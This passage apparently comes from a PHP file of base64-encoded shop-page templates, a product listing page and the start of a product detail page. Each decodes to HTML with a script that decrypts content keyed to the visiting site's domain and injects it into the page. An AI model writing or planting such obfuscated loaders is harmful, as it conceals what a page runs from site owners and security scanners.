AgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjQ0NzA1ODgyMzUyOTQxIDAuNCIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLW9yYW5nZSI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMDk4MDM5MjE1Njg2Mjc1IDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY2Mjc0NTA5ODAzOTIyIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuODQ3MDU4ODIzNTI5NDEgMC40MTk2MDc4NDMxMzcyNSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxkaXYgY2xhc3M9InBhZ2Utd3JhcHBlciBzaWRlLW5hdiI+PCEtLSBwYWdlIHdyYXBwZXIgLS0+CgogICAgPCEtLSBoZWFkZXIgd3JhcHBlciAtLT4KICAgIDxkaXYgY2xhc3M9ImhlYWRlci13cmFwcGVyIGhlYWRlci1zaWRlLW5hdiBzaWRlLW5hdi13cmFwIj4KICAgICAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNsYXNzPSJoZWFkZXItc2lkZSBzdGlja3ktbWVudS1oZWFkZXIiIGRhdGEtcGx1Z2luLXN0aWNreQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLW1haW4gc2hvdy1taW5pY2FydCI+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2NhdGVnb3J5fX0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+CgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLXhsLW5vbmUgZC1sZy1ub25lIGlubGluZS1ibG9jayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LWhlYWQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FydC1pY29uIj48aSBjbGFzcz0ibWluaWNhcnQtaWNvbiBwb3J0by1pY29uLXNob3BwaW5nLWNhcnQiPjwvaT48c3BhbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3BhbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImNhcnQtaXRlbXMtdGV4dCI+MCBpdGVtczwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LXBvcHVwIHdpZGdldF9zaG9wcGluZ19jYXJ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LWxvYWRpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9oZWFkZXI+CgogICAgPC9kaXY+CiAgICA8IS0tIGVuZCBoZWFkZXIgd3JhcHBlciAtLT4KCiAgICA8ZGl2IGNsYXNzPSJjb250ZW50LXdyYXBwZXIiPgoKICAgICAgICA8ZGl2IGNsYXNzPSJiYW5uZXItY29udGFpbmVyIG15LWJhbm5lciI+CiAgICAgICAgICAgIDxkaXYgaWQ9ImJhbm5lci13cmFwcGVyIiBjbGFzcz0iIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvcnRvLWJsb2NrIGVsZW1lbnRvciBlbGVtZW50b3ItNTIyIiBkYXRhLWlkPSI1MjIiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCI+PC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgaGlkZS10aXRsZSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiBjbGVhcmZpeCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InB0LXJpZ2h0IGQtbm9uZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9InBhZ2UtdGl0bGUiPlNob3A8L2gxPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMtd3JhcCBwdC1sZWZ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiIgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvQnJlYWRjcnVtYkxpc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iaG9tZSIgaXRlbXByb3A9Iml0ZW1MaXN0RWxlbWVudCIgaXRlbXNjb3BlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvTGlzdEl0ZW0iPjxhIGl0ZW1wcm9wPSJpdGVtIiBocmVmPSIvIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aXRsZT0iR28gdG8gSG9tZSBQYWdlIj48c3BhbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaXRlbXByb3A9Im5hbWUiPkhvbWU8L3NwYW4+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bWV0YSBpdGVtcHJvcD0icG9zaXRpb24iIGNvbnRlbnQ9IjEiLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImRlbGltaXRlciBkZWxpbWl0ZXItMiI+PC9pPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGl0ZW1wcm9wPSJpdGVtTGlzdEVsZW1lbnQiIGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cHM6Ly9zY2hlbWEub3JnL0xpc3RJdGVtIj48c3BhbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaXRlbXByb3A9Im5hbWUiPlNob3A8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMiIvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bWV0YSBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9UaGluZyIgaXRlbXByb3A9Iml0ZW0iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ9InNob3AiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L3NlY3Rpb24+CgogICAgICAgIDxkaXYgaWQ9Im1haW4iIGNsYXNzPSJjb2x1bW4yIGNvbHVtbjItcmlnaHQtc2lkZWJhciB3aWRlIGNsZWFyZml4Ij48IS0tIG1haW4gLS0+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IG1haW4tY29udGVudC13cmFwIj4KCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50IGNvbC1sZy05Ij4KCgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJwcmltYXJ5IiBjbGFzcz0iY29udGVudC1hcmVhIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4KCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYXJjaGl2ZS1wcm9kdWN0cyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e3Byb2R1Y3RfbGlzdH19CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2hvcC1sb29wLWFmdGVyIGNsZWFyZml4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG5hdiBjbGFzcz0id29vY29tbWVyY2UtcGFnaW5hdGlvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tjb2xsZWN0aW9uX3R1cm5fcGFnZX19CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L25hdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbWFpbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItb3ZlcmxheSI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMgc2lkZWJhciBwb3J0by13b28tY2F0ZWdvcnktc2lkZWJhciByaWdodC1zaWRlYmFyIG1vYmlsZS1zaWRlYmFyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIHNpZGViYXIgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItY29udGVudCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YXNpZGUgaWQ9Indvb2NvbW1lcmNlX3Byb2R1Y3RfY2F0ZWdvcmllcy0yIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3aWRnZXQgd29vY29tbWVyY2Ugd2lkZ2V0X3Byb2R1Y3RfY2F0ZWdvcmllcyI+PGgzIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENhdGVnb3JpZXM8L2gzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdC1jYXRlZ29yaWVzIj57e2NvbGxlY3Rpb25fc3ViX2NhdGVnb3J5fX08L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hc2lkZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhc2lkZSBpZD0id29vY29tbWVyY2VfcHJpY2VfZmlsdGVyLTMiIGNsYXNzPSJ3aWRnZXQgd29vY29tbWVyY2Ugd2lkZ2V0X3ByaWNlX2ZpbHRlciI+PGgzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPlByaWNlPC9oMz48L2FzaWRlPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIHNpZGViYXIgLS0+CgoKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+CgogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiCiAgICAgICAgICAgID4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1ib3R0b20iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Zm9vdGVyX2NvcHlyaWdodH19CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLXJpZ2h0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgY2xhc3M9ImltZy1yZXNwb25zaXZlIGZvb3Rlci1wYXltZW50LWltZyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICA8L2Rpdj4KCiAgICA8L2Rpdj4KCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+CjxkaXYgY2xhc3M9ImFmdGVyLWxvYWRpbmctc3VjY2Vzcy1tZXNzYWdlIHN0eWxlLTIiPgogICAgPGRpdiBjbGFzcz0iYmFja2dyb3VuZC1vdmVybGF5Ij48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtc2ctYm94Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibXNnIj5Zb3UmIzAzOTt2ZSBqdXN0IGFkZGVkIHRoaXMgcHJvZHVjdCB0byB0aGUgY2FydDo8cAogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGJ0bi1wcmltYXkgdmlld2NhcnQiIGRhdGEtbGluaz0iIj5WaWV3IENhcnQ8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9InBhbmVsLW92ZXJsYXkiPjwvZGl2Pgo8ZGl2IGlkPSJzaWRlLW5hdi1wYW5lbCIgY2xhc3M9IiI+CiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4KICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyLXdyYXAiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ibWVudS13cmFwIj48dWwgaWQ9Im1lbnUtbWFpbi1tZW51LTEiIGNsYXNzPSJtb2JpbGUtbWVudSBhY2NvcmRpb24tbWVudSI+e3twcm9kdWN0X2NhdGVnb3J5X21vYmlsZX19PC91bD48L2Rpdj4KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGl0bGU9IkZhY2Vib29rIj48L2E+CiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLXR3aXR0ZXIiIGhyZWY9IiMiIHRpdGxlPSJUd2l0dGVyIj48L2E+CiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPgogICAgPC9kaXY+CjwvZGl2Pgo8c2NyaXB0PgogICAgZnVuY3Rpb24gYXBwZW5kQ29udGVudChjb250ZW50KSB7CiAgICAgICAgdmFyIGNvbnRhaW5lciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgICAgIGNvbnRhaW5lci5pbm5lckhUTUwgPSBjb250ZW50OwoKICAgICAgICB2YXIgc2NyaXB0cyA9IGNvbnRhaW5lci5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0Jyk7CiAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBzY3JpcHRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBvbGRTY3JpcHQgPSBzY3JpcHRzW2ldOwogICAgICAgICAgICB2YXIgbmV3U2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICAgICAgICAgIGlmIChvbGRTY3JpcHQuc3JjKSB7CiAgICAgICAgICAgICAgICBuZXdTY3JpcHQuc3JjID0gb2xkU2NyaXB0LnNyYzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIG5ld1NjcmlwdC50ZXh0ID0gb2xkU2NyaXB0LmlubmVySFRNTDsKICAgICAgICAgICAgfQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7CiAgICAgICAgfQogICAgfQogICAgbGV0IGpzVGV4dCA9IHt7c3RhdGljLmpzfX0KICAgIGxldCBqc0RlY29kZWRTdHJpbmcgPSBkZWNvZGVIdG1sRW50aXRpZXMoanNUZXh0LmpvaW4oJycpKTsKICAgIGNvbnN0IGpzRGVjcnlwdGVkVGV4dCA9IGRlY29kZShqc0RlY29kZWRTdHJpbmcsIGRvbWFpbik7CiAgICBhcHBlbmRDb250ZW50KGpzRGVjcnlwdGVkVGV4dCkKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPgo=', 'detail.html' => 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBwcmVmaXg9Im9nOiBodHRwOi8vb2dwLm1lL25zIyBmYjogaHR0cDovL29ncC5tZS9ucy9mYiMiPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWluaW11bS1zY2FsZT0xIi8+CiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzQuMS4xL2NyeXB0by1qcy5taW4uanMiPjwvc2NyaXB0PgogICAge3trZXl3b3Jkc319CiAgICB7e2Rlc2NyaXB0aW9ufX0KICAgIHt7ZGV0YWlsX2pzb25fbGR9fQogICAge3t0aXRsZX19CiAgICA8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIGRlY29kZSh0LCBrKSB7CiAgICAgICAgICAgIGsgPSBDcnlwdG9KUy5NRDUoaykudG9TdHJpbmcoKTsKICAgICAgICAgICAgbGV0IHMgPSBbXTsKICAgICAgICAgICAgbGV0IGl2ID0gay5yZXBlYXQoTWF0aC5jZWlsKHQubGVuZ3RoIC8gay5sZW5ndGgpKS5zdWJzdHJpbmcoMCwgdC5sZW5ndGgpOwoKICAgICAgICAgICAgZm9yIChsZXQgaiA9IDA7IGogPCB0Lmxlbmd0aDsgaisrKSB7CiAgICAgICAgICAgICAgICBsZXQgYyA9IHRbal07CiAgICAgICAgICAgICAgICBsZXQgaSA9IGl2W2pdOwogICAgICAgICAgICAgICAgaWYgKC9bYS16QS1aXS8udGVzdChjKSkgewogICAgICAgICAgICAgICAgICAgIGxldCBzdGFydCA9IC9bYS16XS8udGVzdChjKSA/ICdhJy5jaGFyQ29kZUF0KDApIDogJ0EnLmNoYXJDb2RlQXQoMCk7CiAgICAgICAgICAgICAgICAgICAgcy5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoc3RhcnQgKyAoYy5jaGFyQ29kZUF0KDApIC0gc3RhcnQgLSBpLmNoYXJDb2RlQXQoMCkgJSAyNiArIDI2KSAlIDI2KSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGMuY2hhckNvZGVBdCgwKSA+PSAzMiAmJiBjLmNoYXJDb2RlQXQoMCkgPD0gNjQpIHsKICAgICAgICAgICAgICAgICAgICBsZXQgc3RhcnQgPSAnICcuY2hhckNvZGVBdCgwKTsKICAgICAgICAgICAgICAgICAgICBzLnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZShzdGFydCArIChjLmNoYXJDb2RlQXQoMCkgLSBzdGFydCAtIGkuY2hhckNvZGVBdCgwKSAlIDMzICsgMzMpICUgMzMpKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgcy5wdXNoKGMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBzLmpvaW4oJycpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZGVjb2RlSHRtbEVudGl0aWVzKGVuY29kZWRTdHIpIHsKICAgICAgICAgICAgdmFyIHRleHRhcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgndGV4dGFyZWEnKTsKICAgICAgICAgICAgdGV4dGFyZWEuaW5uZXJIVE1MID0gZW5jb2RlZFN0cjsKICAgICAgICAgICAgcmV0dXJuIHRleHRhcmVhLnZhbHVlOwogICAgICAgIH0KCiAgICAgICAgbGV0IGNzc1RleHQgPSB7e3N0YXRpYy5jc3N9fQogICAgICAgIHZhciBkb21haW4gPSB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWU7CiAgICAgICAgZG9tYWluID0gZG9tYWluLnJlcGxhY2UoL153d3dcLi8sICcnKQogICAgICAgIGxldCBjc3NEZWNvZGVkU3RyaW5nID0gZGVjb2RlSHRtbEVudGl0aWVzKGNzc1RleHQuam9pbignJykpOwogICAgICAgIGNvbnN0IGNzc0RlY3J5cHRlZFRleHQgPSBkZWNvZGUoY3NzRGVjb2RlZFN0cmluZywgZG9tYWluKTsKICAgICAgICBkb2N1bWVudC5oZWFkLmlubmVySFRNTCArPSBjc3NEZWNyeXB0ZWRUZXh0CiAgICA8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keSBjbGFzcz0icHJvZHVjdC10ZW1wbGF0ZS1kZWZhdWx0IHNpbmdsZSBzaW5nbGUtcHJvZHVjdCBwb3N0aWQtMTU1NzY2MDc4NTQzIHdwLWVtYmVkLXJlc3BvbnNpdmUgdGhlbWUtcG9ydG8gd29vY29tbWVyY2Ugd2